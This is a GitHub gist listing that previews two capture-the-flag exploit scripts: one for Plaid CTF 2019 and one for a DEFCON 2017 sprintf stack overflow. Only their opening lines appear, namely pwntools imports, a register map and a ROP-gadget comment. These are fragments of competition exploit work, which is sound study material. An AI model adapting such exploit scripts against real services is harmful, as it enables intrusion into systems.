Skip to content

Instantly share code, notes, and snippets.

@seanwupi
seanwupi / spectre-gen.py
Created Apr 21, 2019
Plaid CTF 2019 Wirteups
View spectre-gen.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import re
context.arch = "amd64"
register = {"r8":0,"r9":1,"r10":2,"r11":3,"r12":4,"r13":5,"r14":6,"r15":0x7}
idx = 0
def epilogue():
# pop r15_r14_r13_r12_r11_r10_r9_r8_rbp_rdi_rsi_ret
@seanwupi
seanwupi / picturemgr2.py
Last active Aug 16, 2017
DEFCON 2017 CTF picturemgr sprintf Stack Overflow Exploit
View picturemgr2.py
#!/usr/bin/env python
# By Sean @ HITCON
import re
import socket
import sys
import string
import random
You can’t perform that action at this time.